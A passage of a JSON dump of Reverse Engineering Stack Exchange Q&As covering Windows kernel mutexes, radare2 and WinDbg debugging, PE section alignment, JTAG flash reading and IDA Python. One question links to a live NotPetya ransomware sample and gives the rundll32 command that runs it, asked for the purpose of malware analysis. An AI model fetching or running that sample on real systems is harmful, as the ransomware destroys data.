        "Answer": "<p>About this line:</p>\n\n<pre><code>00000034   Mutant              2.   001F0001\n</code></pre>\n\n<p>A mutant is the kernel name for a mutex.</p>\n\n<blockquote>\n  <p>The name mutant has a colorful history.  Early in Windows NT's\n  development, Dave Cutler created a kernel mutex object that\n  implemented low-level mutual exclusion.  Later he discovered that OS/2\n  required a version of the mutual exclusion semaphore with additional\n  semantics, which Dave considered \"brain-damaged\" and which was\n  incompatible with the original object. (Specifically, a thread could\n  abandon the object and leave it inaccessible.)  So he created an OS/2\n  version of the mutex and gave it the name mutant.  Later Dave modified\n  the mutant object to remove the OS/2 semantics, allowing the Win32\n  subsystem to use the object.  The Win32 API calls the modified object\n  mutex, but the native services retain the name mutant.</p>\n</blockquote>\n\n<p><a href=\"https://forum.sysinternals.com/whats-a-mutant-handle_topic17376.html\" rel=\"nofollow noreferrer\">https://forum.sysinternals.com/whats-a-mutant-handle_topic17376.html</a></p>\n\n<p><a href=\"https://blogs.msdn.microsoft.com/larryosterman/2004/09/24/cleaning-up-shared-resources-when-a-process-is-abnormally-terminated/\" rel=\"nofollow noreferrer\">https://blogs.msdn.microsoft.com/larryosterman/2004/09/24/cleaning-up-shared-resources-when-a-process-is-abnormally-terminated/</a></p>\n\n<p>Helen Custers, \"Inside Windows NT\"</p>\n"
    },
    {
        "Id": "16445",
        "CreationDate": "2017-09-29T12:33:19.647",
        "Body": "<p>Could anyone tell me the basic steps and most used radare2 commands for debugging a hang x86 application to find the source of the hang?</p>\n\n<p>I know this question may sound a bit broad but I don't know where to learn this better than here.</p>\n",
        "Title": "How to debug a hang application with radare2?",
        "Tags": "|debugging|x86|radare2|",
        "Answer": "<p>You just have to attach to the hanging process as follow:</p>\n\n<pre><code>$ pidof myhangingprocess\n32220\n$ r2 -d 32220\n</code></pre>\n\n<p>And, that should start a radare2 session on the program you are inspecting. But, for debugging, I would greatly prefer to use <code>gdb</code> (radare2 is a good tool for reverse-engineering but not really for debugging).</p>\n"
    },
    {
        "Id": "16446",
        "CreationDate": "2017-09-29T12:58:39.837",
        "Body": "<p>English isn't my first language, So I will do my best )</p>\n\n<p>I am trying to analyze some malware <a href=\"https://github.com/ytisf/theZoo/blob/master/malwares/Binaries/Ransomware.Petrwrap/Ransomware.Petrwrap.zip\" rel=\"nofollow noreferrer\" title=\"NotPetya\">NotPetya</a> and I can run the malware by running :</p>\n\n<p><code>rundll32.exe notpetya.dll #1</code> </p>\n\n<p>I am using Olly and trying to use the LoadDLL feature. I see where the DLL calls some of it's functions, however I am not able to follow and watch it work. I want to be able to debug this DLL and see what is happening as it's working.</p>\n\n<p>As far as I can tell, there doesn't appear to be anything to obfuscate me from doing this.</p>\n\n<p>I hope I have made this clear enough for people to understand. I don't require the answer to use OllyDBG , but I would like to be able to follow this DLL.</p>\n\n<p>Thank you</p>\n",
        "Title": "How can I dynamically debug a malicious DLL?",
        "Tags": "|ollydbg|debugging|malware|dll|dynamic-analysis|",
        "Answer": "<p>Perhaps the simplest thing would be to find the entrypoint in the DLL, make a note of the byte at that location, and then replace it with an \"int 3\" (0xcc) instruction.  Then you can use a debugger to run the command-line that will cause the DLL to be loaded, and the debugger will regain control.  At that point, you can restore the replaced byte with the original value, and single-step or run to breakpoints that you set.</p>\n"
    },
    {
        "Id": "16460",
        "CreationDate": "2017-10-01T15:35:25.853",
        "Body": "<p><strong>Intro</strong></p>\n\n<p>I'm facing a peculiar deadlock scenario I never saw before.</p>\n\n<p>I'm trying to debug this deadlock from 3 days and couldn't find how to fix it in a proper way. Hopefully someone would help me out.</p>\n\n<p>We don't have the application's source code so this deadlock must be fixed patching the asm code (no problems patching the binary though).</p>\n\n<p><strong>The scenario</strong></p>\n\n<p>The application is a x86 old online game which uses directx 9 to render graphics (d3d9.dll). From what I could analyse there are 3 threads related to this deadlock. To name, thread #1 is the main thread (which render every frame), thread #2 seems to be a d3d9 worker thread that queue some async resource loading to be processed and drawn out by the thread #1, and then we have the mysterious thread #3 which is related to a feature of the game that basically make a http request to a server and download a texture to display in the game on-the-fly; every time this texture have to be drawn, the main thread creates this thread #3 to process the I/O to download the texture, which will be passed to the thread #2 (d3d9 worker thread) to be finally async processed by the thread #1 (game loop).</p>\n\n<p>After thread #3 gives to thread #2 the texture resources, thread #3 shutdowns itself. This thread #3 is created from crt!_beginthread and shutdown with crt!_endthread.</p>\n\n<p><strong>The deadlock</strong></p>\n\n<p>To sumup: <em>thread #1</em> (game loop), <em>thread #2</em> (d3d9 worker thread), <em>thread #3</em> (downloads texture from http).</p>\n\n<p>The problem occurs when (for some unknown reason) thread #3 is ended without freeing a lock which is being awaited by thread #2. Thread #1 in turn is waiting for thread #2 to acquire the resources to be drawn.</p>\n\n<p>This is different from all other deadlocks I have faced with because the thread that seems to be causing the deadlock doesn't exist anymore when the deadlock occurs. All the other deadlocks I have debugged was pretty much straight forward to find the source of the problem because when isolating the threads in deadlock I simply had to analyse the call stack from each thread to know exactly what was happening. The big problem here is that as thread #3 is dead I don't have its call stack to see the moment it creates the deadlock. So the big question is: how can I find what is happening inside this thread #3 if I can't even see the call stack?</p>\n\n<p><strong>Some WinDbg analysis output after deadlocks occur</strong></p>\n\n<p><em>0:001> !locks</em></p>\n\n<pre><code>CritSec +935a060 at 0935a060\nWaiterWoken        No\nLockCount          2\nRecursionCount     1\nOwningThread       34fc\nEntryCount         0\nContentionCount    21a\n*** Locked\n\nScanned 27 critical sections\n</code></pre>\n\n<p><em>0:001> !runaway</em></p>\n\n<pre><code>  User Mode Time   Thread       Time\n   0:2888      0 days 0:00:15.234\n  11:2210      0 days 0:00:02.796\n  20:15f0      0 days 0:00:01.656\n  17:584       0 days 0:00:00.453\n  21:2860      0 days 0:00:00.140\n  13:8cc       0 days 0:00:00.031\n   7:1a70      0 days 0:00:00.031\n  23:373c      0 days 0:00:00.015\n  14:2fe0      0 days 0:00:00.015\n  22:1bf4      0 days 0:00:00.000\n  19:3a50      0 days 0:00:00.000\n  18:2980      0 days 0:00:00.000\n  16:1e0c      0 days 0:00:00.000\n  15:2768      0 days 0:00:00.000\n  12:3154      0 days 0:00:00.000\n  10:2cfc      0 days 0:00:00.000\n   9:1e40      0 days 0:00:00.000\n   8:1ea8      0 days 0:00:00.000\n   5:2b64      0 days 0:00:00.000\n   4:338c      0 days 0:00:00.000\n   1:3be8      0 days 0:00:00.000\n</code></pre>\n\n<p><em>0:001> ~0 kb</em></p>\n\n<pre><code> # ChildEBP RetAddr  Args to Child              \n00 0019f640 75f48869 000006c0 00000000 0019f688 ntdll!NtWaitForSingleObject+0xc\n01 0019f6b4 75f487c2 000006c0 000003e8 00000000 KERNELBASE!WaitForSingleObjectEx+0x99\n02 0019f6c8 68bbac92 000006c0 000003e8 0935a040 KERNELBASE!WaitForSingleObject+0x12\n03 0019f6dc 68b7d6e4 88760870 0935a040 015c6e38 d3d9!CBatchFilterI::WaitForBatchWorkerThread+0x23\n04 0019f6ec 68c403d1 04f0de60 68c403b0 c9e02d57 d3d9!CBatchFilterI::FlushBatchWorkerThread+0xc\n05 0019f700 68b78522 0935a040 00000000 00011001 d3d9!CBatchFilterI::LHBatchFlush1+0x21\n06 0019f718 68b99daa 04f0de60 68b54020 04f0dd00 d3d9!Flush+0x36\n07 0019f9bc 68b6a661 04f0de60 04f0b634 04f08ac0 d3d9!DdBltLH+0x45d8a\n08 0019fa94 68be9fcc 00000000 00000000 00000000 d3d9!CSwapChain::PresentMain+0x3a7\n09 0019fabc 68be9e57 00000000 00000000 00000000 d3d9!CBaseDevice::PresentMain+0x68\n0a 0019faf4 10109099 04f08ac0 00000000 00000000 d3d9!CBaseDevice::Present+0x57\n0b 0019fc10 10107a15 04f08ac0 00000000 00000000 DoNPatch!fIDirect3Device9::fPresent+0x2e9\n0c 0019fc58 005495e0 00000001 03440be8 03448a70 DoNPatch!NKD_IDirect3DDevice_Present+0x5\n0d 0019fc7c 00549367 00000000 03440be8 00000000 SD_Asgard!loc_5494D7+0x109\n0e 0019fcc4 0054b7a1 0105a000 03440be8 00b200b0 SD_Asgard!loc_549367\n0f 0019fef4 005bb824 00400000 00000000 01503b2d SD_Asgard!loc_54B784+0x1d\n10 0019ff80 76d28744 00302000 76d28720 34573170 SD_Asgard!loc_5BB812+0x12\n11 0019ff94 76f8582d 00302000 03e96be8 00000000 KERNEL32!BaseThreadInitThunk+0x24\n12 0019ffdc 76f857fd ffffffff 76fa6389 00000000 ntdll!__RtlUserThreadStart+0x2f\n13 0019ffec 00000000 005cc46f 00302000 00000000 ntdll!_RtlUserThreadStart+0x1b\n</code></pre>\n\n<p><em>0:001> ~11 kb</em></p>\n\n<pre><code> # ChildEBP RetAddr  Args to Child              \n00 04c2fe58 76f4c07a 0935a064 00000000 00000000 ntdll!NtWaitForAlertByThreadId+0xc\n01 04c2fe78 76f4bfbe 00000000 00000000 ffffffff ntdll!RtlpWaitOnAddressWithTimeout+0x33\n02 04c2febc 76f4beb5 00000004 00000000 00000000 ntdll!RtlpWaitOnAddress+0xa5\n03 04c2fefc 76f6b3f1 0935a040 0935a040 00000004 ntdll!RtlpWaitOnCriticalSection+0xb7\n04 04c2ff1c 76f6b315 0935a040 04c2ff38 68b7d1e8 ntdll!RtlpEnterCriticalSectionContended+0xd1\n05 04c2ff28 68b7d1e8 0935a060 0941a324 04c2ff60 ntdll!RtlEnterCriticalSection+0x45\n06 04c2ff38 68b80753 00000001 0935a040 00000001 d3d9!CBatchFilterI::AcquireSynchronization+0x28\n07 04c2ff60 68c42021 0941a320 00000001 68c41760 d3d9!CBatchFilterI::ProcessBatch+0x14b\n08 04c2ff78 68c4176d 04c2ff94 76d28744 0935a040 d3d9!CBatchFilterI::WorkerThread+0x2d\n09 04c2ff80 76d28744 0935a040 76d28720 308c3170 d3d9!CBatchFilterI::LHBatchWorkerThread+0xd\n0a 04c2ff94 76f8582d 0935a040 07326be8 00000000 KERNEL32!BaseThreadInitThunk+0x24\n0b 04c2ffdc 76f857fd ffffffff 76fa6389 00000000 ntdll!__RtlUserThreadStart+0x2f\n0c 04c2ffec 00000000 68c41760 0935a040 00000000 ntdll!_RtlUserThreadStart+0x1b\n</code></pre>\n\n<p><strong>Conclusion</strong></p>\n\n<p>In the outputs above, the thread id owning the locked critical section (34fc) is the thread #3 (makes the http request), which isn't presented in the !runaway list. In the !runaway list, the thread number 0 is the #1 (game loop) and the thread number 11 is the #2 (d3d9 batch worker). If you need any other data I can gather just ask for it. In this analysis I used IDA Pro 6.9 and WinDbg, but I can get other tool if available.</p>\n\n<p>To end up, sorry for the long text and thanks in advance.</p>\n",
        "Title": "Debugging a deadlock when the mutex owner thread is dead?",
        "Tags": "|ida|windbg|",
        "Answer": "<p>This is more of a SW dev problem than RE, but you can try using <a href=\"https://blogs.msdn.microsoft.com/junfeng/2008/04/21/use-htrace-to-debug-handle-leak/\" rel=\"nofollow noreferrer\"><code>!htrace</code></a> to find out where the mutex was originally allocated (creation stack trace). </p>\n\n<p>Alternatively, try to figure why the thread #3 exits without releasing the lock.\nThis may be a bit tricky, but if you can repro the two scenartios (with and without releasing the lock), <a href=\"https://reverseengineering.stackexchange.com/a/2567/60\">differential debugging</a> may be useful to figure out where the code paths diverge.</p>\n"
    },
    {
        "Id": "16461",
        "CreationDate": "2017-10-01T17:53:04.120",
        "Body": "<p>After analyzing some binaries, I noticed that the sections, .text, .data, .bss, etc, are not really adjacent. It seems to be a gap between them, why is that?</p>\n",
        "Title": "Gaps between sections",
        "Tags": "|binary-analysis|executable|",
        "Answer": "<p>Sections are aligned so the next section doesn't automatically start at the end of the current section. Sections on disk and memory have different alignments. Sections on disk are usually aligned by 512 bytes which is the traditional size of a disk sector (stored in <code>IMAGE_OPTIONAL_HEADER.FileAlignment</code>). In memory, they are usually page aligned (stored in <code>IMAGE_OPTIONAL_HEADER.SectionAlignment</code>). It allows the loader to apply different memory protection permissions on different sections since permissions are applied on page by page basis. Example: <code>.text</code> can have <code>PAGE_EXECUTE_READ</code> while <code>.data</code> might have <code>PAGE_READONLY</code> permission only, if <code>.data</code> isn't aligned, it's content that fits in the last <code>.text</code>'s page will have <code>PAGE_EXECUTE_READ</code> permission instead of <code>PAGE_READONLY</code>.</p>\n"
    },
    {
        "Id": "16466",
        "CreationDate": "2017-10-02T05:34:12.760",
        "Body": "<p>I recently start to use radare2 and I have a question\nHow can I print info about the heap with dmhb dmhf etc. while debugging ?\nI would like to have the heap informations on the right and the disassembly view on the left but I don't know how to do it .</p>\n\n<p>When I launch these commands it prints below the disassembly view...</p>\n",
        "Title": "Split view radare2 print heap",
        "Tags": "|radare2|heap|",
        "Answer": "<p>You can use <code>|</code> or <code>=</code> in <em>Visual Mode</em> to split horizontally and vertically respectively.</p>\n\n<p>Open your file in debug mode and go to Visual Mode by pressing <code>V</code>, then press <code>p</code> until you reach the assembly view:  </p>\n\n<pre><code>$ r2 -d program\n[0xf7799b30]&gt; V\n</code></pre>\n\n<p>Then press <code>|</code> and you'll be able to configure <code>cmd.cprompt</code>. Write the command that you wish to see in the right pane of the screen.</p>\n\n<p>Alternatively you can configure it using <code>e cmd.cprompt=&lt;your_command&gt;</code> or <code>e cmd.vprompt=&lt;your_command&gt;</code> from the terminal.</p>\n"
    },
    {
        "Id": "16472",
        "CreationDate": "2017-10-02T19:15:10.383",
        "Body": "<p>I'm trying to debug the corruption of a linked list structure inside of a Win32 DLL with IDA Pro and Hexrays. The offending assembly traverses a doubly-linked list forwards checking a condition, and breaks if the next node of the list is null. When the application using the library is run fast enough, the address holding the pointer location being iterated becomes corrupted with a value far outside the bounds of addressable memory, crashing the program. I want to see if the previous linked list node contained the corrupted pointer as its next node or the bug is elsewhere, but there are no references to the parent at the time of the crash, since the node is overwritten inside the loop.</p>\n\n<p>The bug is only triggered when the application is running at full speed, likely because it's a race condition. Because of this, I can't trace or conditionally break on the the execution of the assembly block because it slows the program down so much that the bug doesn't trigger.</p>\n\n<p>Is there some way of injecting a global variable somewhere in memory holding the address of the previously iterated linked list node, or otherwise patching the code structure so the values the program checked are inspectable somehow?</p>\n",
        "Title": "Tracing the last written value of a memory location without slowdown",
        "Tags": "|ida|windows|debugging|hexrays|tracing|",
        "Answer": "<p>If you can predict the address being overwritten ahead of time, try setting a hardware breakpoint on it. You can also try a dynamic tracer such as PIN which usually has only minor slowdown. </p>\n"
    },
    {
        "Id": "16474",
        "CreationDate": "2017-10-03T06:36:25.040",
        "Body": "<p>While reading Practical Reverse Engineering by Bruce Dang, I came across the following.</p>\n\n<p><a href=\"https://i.stack.imgur.com/N6Xu8.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/N6Xu8.png\" alt=\"Image from Practical Reverse Engineering\"></a></p>\n\n<ol>\n<li>Am I correct in my assumption that the procedures return a pointer to the current thread and current process respectively?</li>\n<li><p>In <em>PsCurrentProcess</em>, the offset into the current thread is <em>0B8h</em> whereas in the comment it is written as <em>0x70</em>. I do not understand what the author means by this. In an attempt to find out I tried to debug a x64 Windows 10 Kernel. </p>\n\n<p><a href=\"https://i.stack.imgur.com/meB1Z.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/meB1Z.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/4TLmt.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/4TLmt.png\" alt=\"enter image description here\"></a></p></li>\n</ol>\n\n<p>I couldn't find any thing at offsets 70h nor B8h. But I did find a <em>_KPROCESS</em> at offset <em>220h</em>. Is this what I am looking for?</p>\n\n<p><a href=\"https://i.stack.imgur.com/een6v.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/een6v.png\" alt=\"enter image description here\"></a></p>\n\n<ol start=\"3\">\n<li>Will this offset be the same for all Windows 10 x64 systems?</li>\n<li>I would like to know about the internals of all these structures. Is there any resource that explains all the important internal data structures in Windows from a reverse engineering stand point. </li>\n</ol>\n",
        "Title": "Getting the current process in Windows",
        "Tags": "|process|kernel|",
        "Answer": "<p>most of these structures can be queried with windbg  </p>\n\n<p>if you are running in usermode ntdll.pdb has these type information </p>\n\n<p>if you are running in kernelmode ntos/ntkr/ aka nt*.pdb  has these type information </p>\n\n<p>you can use a tool like livekd from sysinternals along with windbg to do a \nlocal kernel debugging session </p>\n\n<p>following are output from livekd on a win7 x86 machine as far as possible \nthe commands are kept os / version agnostic</p>\n\n<p>the current process can be queried as <strong>? @$proc</strong> </p>\n\n<pre><code>kd&gt; ? @$proc\nEvaluate expression: -2050188616 = 85cc9ab8\nkd&gt;\n</code></pre>\n\n<p>the <strong>single question mark ?</strong> represents masm expresssion evaluator \nyou can use <strong>?? question marks</strong> to turn on c++ expression evaluator </p>\n\n<pre><code>kd&gt; ?? @$proc-&gt;UniqueProcessId\nvoid * 0x00000538\nkd&gt;\n</code></pre>\n\n<p>the above Current process pid is also represented by @$tpid</p>\n\n<pre><code>kd&gt; ? @$tpid\nEvaluate expression: 1336 = 00000538\nkd&gt; ?? @$tpid\nunsigned int 0x538\nkd&gt;\n</code></pre>\n\n<p>the pcr is represented by <strong>@$pcr</strong></p>\n\n<p>you can mix and match the expression evaluator the @@() lets you insert a c++ expression into a masm evaluation</p>\n\n<pre><code>kd&gt; ? @$pcr\nEvaluate expression: -2097779712 = 82f66c00\nkd&gt; ?  @@(@$pcr-&gt;PrcbData.CurrentThread)\nEvaluate expression: -2048806120 = 85e1b318\nkd&gt;\n</code></pre>\n\n<p>in my system  PsGetCurrentProcess is as follows</p>\n\n<pre><code>kd&gt; uf nt!PsGetCurrentThread\nnt!PsGetCurrentThread:\n82e72b99 64a124010000    mov     eax,dword ptr fs:[00000124h]\n82e72b9f c3              ret\nkd&gt;\n</code></pre>\n\n<p>you can directly get the raw contents of this segment:offset </p>\n\n<pre><code>kd&gt; ? poi(fs:00000124)\nEvaluate expression: -2048806120 = 85e1b318\nkd&gt;\n</code></pre>\n\n<p>the current thread is denoted by <strong>@$thread</strong></p>\n\n<pre><code>kd&gt; ? @$thread\nEvaluate expression: -2048806120 = 85e1b318\nkd&gt;\n</code></pre>\n\n<p>ApcState is not an array it is a structure </p>\n\n<pre><code>kd&gt; ?? @$thread-&gt;Tcb.ApcState\nstruct _KAPC_STATE\n   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0x85e1b358 - 0x85e1b358 ]\n   +0x010 Process          : 0x85cc9ab8 _KPROCESS\n   +0x014 KernelApcInProgress : 0 ''\n   +0x015 KernelApcPending : 0 ''\n   +0x016 UserApcPending   : 0 ''\nkd&gt;\n</code></pre>\n\n<p>you can get the offset to Process mention in you post like this </p>\n\n<pre><code>kd&gt; ?? &amp;(@$thread-&gt;Tcb.ApcState.Process)\nstruct _KPROCESS ** 0x85e1b368\nkd&gt; ?? *(unsigned long *)&amp;(@$thread-&gt;Tcb.ApcState.Process)\nunsigned long 0x85cc9ab8\nkd&gt;\n</code></pre>\n\n<p>in my system PsGetCurrentProcss is as follows</p>\n\n<pre><code>kd&gt; uf nt!PsGetCurrentProcess\nnt!PsGetCurrentProcess:\n82ec5fce 64a124010000    mov     eax,dword ptr fs:[00000124h]\n82ec5fd4 8b4050          mov     eax,dword ptr [eax+50h]\n82ec5fd7 c3              ret\nkd&gt;\n</code></pre>\n\n<p>raw query </p>\n\n<pre><code>kd&gt; ? poi(30:124)\nEvaluate expression: -2048806120 = 85e1b318\nkd&gt; ? poi(poi(30:124)+50)\nEvaluate expression: -2050188616 = 85cc9ab8\nkd&gt;\n</code></pre>\n\n<p>expression query</p>\n\n<pre><code>kd&gt; ? @@(@$prcb-&gt;CurrentThread-&gt;ApcState.Process)\nEvaluate expression: -2050188616 = 85cc9ab8\nkd&gt;\n</code></pre>\n"
    },
    {
        "Id": "16477",
        "CreationDate": "2017-10-03T16:37:45.570",
        "Body": "<p>I'm trying to read the flash memory of a microcontroller MPC5606B from Motorola. I saw his pins and saw that it uses jtag to perform debug, so I'm trying to use it JTAG interface to read its flash content.</p>\n\n<p>I read the MPC's flash content using a tool (UPA) and a PC, however, I want to do it by my own, using my own embedded hardware without the PC's tool. I read about JTAG standard( JTAG_IEEE-Std-1149.1-2001 ), and some videos and explanations on the internet. I read about TAP controller state diagram and read about some instructions too.</p>\n\n<p>In order to better understand the JTAG reading, I Used the PC's tool to read the MCP's flash and an osciloscope to see how the communication is performed, however, the communication has almost 10s of duration. So, I filled the entire flash with zeros and read the memory, in this way, I was able identify the reading of memory using the osciloscope. However, although I can identify the reading of memory using the osciloscope, I can't determine yet the exact sequence of commands to perform the reading. The time of reading is too big, almost 10s. </p>\n\n<p>So, before to go more deep, I would like to know if there is some kind of protection to access the flash memory. I tried to understand the beginning of the communication, I can identify the progress in the TAP controller's state machine, but I was not able to understand what this steps means and why it is done. So, I would like to know:</p>\n\n<p>1) Can I determine if the communication has some kind of protection ? I really need to know it before to go further in the task because I need to know the task's complexity level before to go more deep</p>\n\n<p>2) Although I read  about the JTAG standard and the TAP controller state machine, I was not able to say what sequence of comands I need to read the flahs content.</p>\n\n<p>Abaixo est\u00e1 a leitura do flash do MPC5606B realizada pela ferramenta com o aux\u00edlio do PC. The image is composed of a sequence of images. The first is the image of the communication in full, the second is the beginning of the communication, there is an arrow indicating where it was withdrawn.</p>\n\n<p><a href=\"https://i.stack.imgur.com/SLq5T.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/SLq5T.png\" alt=\"enter image description here\"></a></p>\n\n<p>This was my interpretation until now</p>\n\n<p>FIGURE 1:</p>\n\n<p>1.1 - (TMS = 1) Test-Logic-Resset </p>\n\n<p>1.2 - (CLK wide pulse) I do not know why. </p>\n\n<p>1.3 - (8 pulses of CLK, TMS = 1) </p>\n\n<p>Since TMS did not came out to 1 I understand that it did not quit Test-logic-Reset </p>\n\n<p>1.4 - (TMS = 0, 1 pulse clock) enters Run-Test-Idle </p>\n\n<hr>\n\n<p>FIGURE 2:</p>\n\n<p>2.1 - (TMS = 1, 2 clock pulses) Goes to the \"Select IR-Scan\" state</p>\n\n<p>2.2 - (TMS = 0, 2 pulses of clock) Go to the state \"Shif-IR\"</p>\n\n<p>2.3 - (TMS = 0, 4 clock pulses) Remains in \"Shift-IR\"</p>\n\n<p>TDI: 1000\nTDO: 1000\n2.4 - (TMS = 1, 1 clock pulse) Goes to the \"Exit1-IR\"</p>\n\n<p>2.5 - (TMS = 1, 1 clock pulse) Goes to the status \"Update-IR\"</p>\n\n<p>2.6 - (TMS = 0, 1 clock pulse) Goes to the \"Run-Test-Idle\"</p>\n\n<hr>\n\n<p>FIGURE 3:</p>\n\n<p>3.1 - (TMS = 1, 1 clock pulse) goes to the \"Select DR-Scan\" state</p>\n\n<p>3.2 - (TMS = 0, 2 clock pulses) Go to the status \"Shif-DR\"</p>\n\n<p>3.3 - (TMS = 0, 31 clock pulses) Go to the \"Shif-DR\" state</p>\n\n<p>The 32 clock cycles are equivalent to 4 bytes:</p>\n\n<p>TDI: 0x00 0x00 0x00 0x00\nTDO: 0xB8 0x0C 0x27 0x54 (10111000 00001100 00100111 01010100)</p>\n\n<p>3.4 - (TMS = 1, 1 clock pulse) Goes to the \"Exit1-DR\"</p>\n\n<p>3.5 - (TMS = 1, 1 clock pulse) Goes to the status \"Update-DR\"</p>\n\n<p>3.6 - (TMS = 0, 1 clock pulse) Goes to the \"Run-Test-Idle\" </p>\n",
        "Title": "Flash Reading by JTAG",
        "Tags": "|jtag|",
        "Answer": "<p>Interpreting JTAG transactions by hand can be pretty tiresome. If you can export your data to a more or less universal data format, like VCD or even a CSV file, you can use <a href=\"http://sigrok.org/\" rel=\"noreferrer\">Sigrok and Pulseview</a> to decode your data. This will decode the low-level JTAG data; if you know the specifics of the controller like TAP register layout and command set, you can extend Sigrok with a decoder that runs on top of the existing IEEE-1149 decoder.</p>\n\n<p><a href=\"https://i.stack.imgur.com/g63XS.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/g63XS.jpg\" alt=\"jtag\"></a></p>\n"
    },
    {
        "Id": "16483",
        "CreationDate": "2017-10-04T23:27:50.440",
        "Body": "<p>While using IDA Python for extract ARM instructions, I noticed that some instructions are not extracted completely. For example, conditional instructions such as <code>BCS</code> or <code>BCC</code> are printed as <code>B</code>. For analyzing, it is necessary we have the instructions completely.  </p>\n\n<p>Here's the code I used:</p>\n\n<pre><code>import idautils\nimport idc\nimport idaapi\nfor seg_ea in Segments():\n for head in Heads(seg_ea, SegEnd(seg_ea)):\n  if isCode(GetFlags(head)):\n   disasm= GetMnem(head)\n</code></pre>\n\n<p>Is there any way to correct this problem? </p>\n",
        "Title": "Extract conditional instructions using IDA python in ARM binaries",
        "Tags": "|ida|idapython|arm|python|",
        "Answer": "<p>I was able to reproduce your problem on <em>IDA 6.95</em> but it seems like this bug was fixed in <em><a href=\"https://www.hex-rays.com/products/ida/7.0/index.shtml\" rel=\"nofollow noreferrer\">IDA 7</a></em> since it works for me just fine. The solution below will be relevant to IDA 6.95 though it would probably be valid to earlier versions of <em>IDA Pro</em>.  </p>\n\n<p>Let's start by describing the deadlock we're facing with:<br>\nThe problematic function, <code>GetMnem</code>, is declared in <code>IDA 6.95\\Python\\idc.py:L2280</code> and looks like this:\n</p>\n\n<pre><code>def GetMnem(ea):\n    \"\"\"\n    Get instruction mnemonics\n\n    @param ea: linear address of instruction\n\n    @return: \"\" - no instruction at the specified location\n\n    @note: this function may not return exactly the same mnemonics\n    as you see on the screen.\n    \"\"\"\n    res = ida_ua.ua_mnem(ea)\n\n    if not res:\n        return \"\"\n    else:\n        return res\n</code></pre>\n\n<p>Pay attention to the following disclaimer in the function:</p>\n\n<blockquote>\n  <p>@note: this function may not return exactly the same mnemonics as you see on the screen.</p>\n</blockquote>\n\n<p>Seems like our problems fits the disclaimer -- we don't see the same mnemonics as we see on the screen.</p>\n\n<p>As you can see, <code>GetMnem</code> is basically a wrapper to another function -- <code>ua_mnem</code> which is declared in <code>IDA 6.95\\Python\\ida_ua.py:L319</code>:<br>\n</p>\n\n<pre><code>def ua_mnem(*args):\n  \"\"\"\n  ua_mnem(ea) -&gt; char const *\n  \"\"\"\n  return _ida_ua.ua_mnem(*args)\n</code></pre>\n\n<p>Well, seems like <code>ua_mnem</code> is a wrapper to another function which is located in <code>IDA 6.95\\python\\lib\\python2.7\\lib-dynload\\ida_64\\_ida_ua.pyd</code>. A <code>pyd</code> file <a href=\"https://docs.python.org/3/faq/windows.html#is-a-pyd-file-the-same-as-a-dll\" rel=\"nofollow noreferrer\">is actually a <em>DLL</em> file</a> and should not be easy-peasy to reverse. Therefore, we can't see, nor edit, the source code so we can't fix the problem.  </p>\n\n<p>Here comes the workaround: instead of using <code>GetMnem</code> you can simply mimic it by using <code>GetDisasm</code> and split the line to get only the instruction:</p>\n\n<pre><code>import idautils\nimport idc\nimport idaapi\nfor seg_ea in Segments():\n for head in Heads(seg_ea, SegEnd(seg_ea)):\n  if isCode(GetFlags(head)):\n    mnem = GetMnem(head)\n    if (mnem[0]=='B'):\n        mnem = GetDisasm(head).split()[0]\n    print mnem\n</code></pre>\n\n<p>In this case we check whether the mnemonics is a <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0231b/Chddgiff.html\" rel=\"nofollow noreferrer\">branch instruction</a> (begins with \"B\") and if so, we use the mnemonics from <code>GetDisasm</code> and not from <code>GetMnem</code>. Of course you would need to test this solution better and maybe handle some specific cases.</p>\n"
    },
    {
        "Id": "16489",
        "CreationDate": "2017-10-06T13:35:27.433",
        "Body": "<p>There are different ways to identify the processor type such as using IDA or <code>file</code>  command in Linux.  But sometimes the processor type is not detected by these tools. Besides I do not have the correct processor type of the binary. Is there any way to detect the correct type of processor?</p>\n",
        "Title": "Identify the porcessor type of a binary",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>you might try <a href=\"https://github.com/airbus-seclab/cpu_rec/\" rel=\"nofollow noreferrer\">cpu_rec</a>, it claims to be able to identify a wide variety of architectures by analyzing the raw binary data.<br>\nAccording to <a href=\"https://github.com/airbus-seclab/cpu_rec/blob/master/README.md#known-architectures-in-the-default-corpus\" rel=\"nofollow noreferrer\">cpu_rec github repository</a> : Known architectures in the default corpus\n<a href=\"https://en.wikipedia.org/wiki/Freescale_68HC08\" rel=\"nofollow noreferrer\"><code>68HC08</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Freescale_68HC11\" rel=\"nofollow noreferrer\"><code>68HC11</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Intel_MCS-51\" rel=\"nofollow noreferrer\"><code>8051</code></a>\n<a href=\"https://en.wikipedia.org/wiki/DEC_Alpha\" rel=\"nofollow noreferrer\"><code>Alpha</code></a>\n<a href=\"https://en.wikipedia.org/wiki/ARC_(processor)\" rel=\"nofollow noreferrer\"><code>ARcompact</code></a>\n<a href=\"https://en.wikipedia.org/wiki/ARM_architecture\" rel=\"nofollow noreferrer\"><code>ARM64</code> <code>ARMeb</code> <code>ARMel</code> <code>ARMhf</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Atmel_AVR\" rel=\"nofollow noreferrer\"><code>AVR</code></a>\n<a href=\"https://en.wikipedia.org/wiki/ETRAX_CRIS\" rel=\"nofollow noreferrer\"><code>AxisCris</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Blackfin\" rel=\"nofollow noreferrer\"><code>Blackfin</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Cell_(microprocessor)\" rel=\"nofollow noreferrer\"><code>Cell-SPU</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Clipper_architecture\" rel=\"nofollow noreferrer\"><code>CLIPPER</code></a>\n<a href=\"https://en.wikipedia.org/wiki/CompactRISC\" rel=\"nofollow noreferrer\"><code>CompactRISC</code></a>\n<a 